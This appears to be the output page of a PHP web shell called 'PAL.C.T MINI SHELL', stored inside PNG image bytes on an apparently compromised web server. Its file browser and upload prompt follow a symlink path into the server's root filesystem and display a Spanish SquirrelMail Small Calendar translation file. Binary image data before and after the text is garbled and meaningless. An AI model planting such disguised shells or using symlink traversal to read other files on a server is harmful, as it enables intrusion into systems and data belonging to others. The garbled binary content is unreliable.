php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/es_ES/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/es_ES/LC_MESSAGES/smallcal.po

msgid ""
msgstr ""
"Project-Id-Version: Small Calendar SquirrelMail Plugin\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: 2003-10-12 19:40+0100\n"
"Last-Translator: Philippe Mingo <philippe@squirrelmail.org>\n"
"Language-Team: SPANISH <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "SMTWTFS"
msgstr "DLMXJVS"

msgid "Today"
msgstr "Hoy"

msgid "Color Picker"
msgstr "Selector de Color"

msgid "Click a box and the hexadecimal color will be shown <br>below.\r"
msgstr "Haga click en una caja y se mostrará el color<br>hexadecimal debajo.\r"

msgid "Hex Value"
msgstr "Valor Hexadecimal"

msgid "Small Calendar Options"
msgstr "Opciones de Mini-Calendario"

msgid "Small Calendar:"
msgstr "Pequeño Calendario:"

msgid "Show small calendar in left bar"
msgstr "Pequeño calendario en barra izquierda"

msgid "Use Default Theme:"
msgstr "Usar Tema por Omisión:"

msgid "This will override values below"
msgstr "Esto sobreescribirá los valores de más abajo"

msgid "Header Color:"
msgstr "Color de Cabecera:"

msgid "Day Color:"
msgstr "Color del Día:"

msgid "Today Color:"
msgstr "Color de Hoy:"

msgid "Event Color:"
msgstr "Color de Acontecimiento:"

msgid "Calendar separator:"
msgstr "Separador de calendario:"

msgid "Calendar size:"
msgstr "Tamaño de Calendario:"

msgid "Use Shared Calendar:"
msgstr "Usar Calendario Compartido"

msgid "Use the shared calendar selected below as your<br>small calendar (default is Personal calendar)"
msgstr "Usar el calendario compartido seleccionado más<br>abajo como su \"pequeño\" calendario (por omisión <br>es el calendario Personal)."

msgid "Shared Calendar:"
msgstr "Calendario Compartido:"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`